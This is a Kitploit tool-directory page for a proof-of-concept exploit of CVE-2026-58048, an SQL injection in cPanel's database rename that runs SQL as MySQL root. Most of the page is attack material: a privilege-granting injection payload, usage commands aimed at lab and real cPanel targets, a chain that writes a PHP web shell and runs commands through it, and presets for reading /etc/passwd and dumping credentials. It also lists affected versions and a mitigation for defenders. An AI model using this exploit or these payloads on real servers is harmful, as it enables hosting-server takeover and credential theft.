Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
POC-CVE-2026-58048 — Security research project | Kitploit
Tools/GitHubGitHub/imbas007/poc-cve-2026-58048
Privilege EscalationExploitationWeb Application ExploitationWeb SecurityPenetration TestingDatabase SecurityLabs & Practice
GitHubimbas007/poc-cve-2026-58048

POC-CVE-2026-58048

Security research project

View Repository
161 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-58048

CVSS 4.0: 9.4 (Critical) | CWE-89: SQL Injection | NVD

Authenticated cPanel user → arbitrary SQL as MySQL root via database rename. cPanel improperly preserves the user's session sql_mode (ANSI_QUOTES) when executing rename operations as root — a backtick in the database name breaks out of the identifier and injects SQL.

root@kitploit:~
name: db`; GRANT ALL ON *.* TO 'rce'@'%' IDENTIFIED BY 'pwned!'; -- 

Quick Start (Docker Lab)

root@kitploit:~
pip install -r requirements.txt

python3 simulate.py start   # start lab (MariaDB:13306, cPanel API:18080, Apache:18081)
python3 poc.py -t http://localhost:18080 --mysql-port 13306 --payload admin-user --verify
python3 simulate.py stop

Lab mode is auto-detected — no --lab flag needed.

Real cPanel Target

root@kitploit:~
python3 poc.py -t https://cpanel.example.com:2083 -u user -p 'pass' \
    --payload admin-user --verify

Payload Presets

Custom SQL: --inject "GRANT ALL ON *.* TO 'x'@'%' IDENTIFIED BY 'y'"

Full RCE Chain (Lab)

root@kitploit:~
# 1. Write shell to web root
python3 poc.py -t http://localhost:18080 --mysql-port 13306 \
    --payload webshell --shell /var/www/html/shell.php

# 2. Execute commands via HTTP!
curl "http://localhost:18081/shell.php?0=id"

Affected Versions

cPanel < 11.110.0.137, 11.118.0.71, 11.126.0.78, 11.134.0.48, 11.136.0.32; WP Squared < 11.138.1.6

Mitigation: upgrade, or revoke the MySQL feature from cPanel users.

References

  • cPanel Advisory
  • SecurityOnline

For authorized security testing and education only.

Download Tool
PresetEffect
admin-user (default)Create MySQL admin user rce
compact-adminShort admin payload (<64 chars — fits real cPanel's name limit; verify: r/p)
webshellWrite PHP shell via INTO OUTFILE (--shell /var/www/html/shell.php)
read-fileRead server file via LOAD_FILE (--file /etc/passwd)
dump-usersDump all MySQL credentials to pwn.users
udf-rceOS command execution via UDF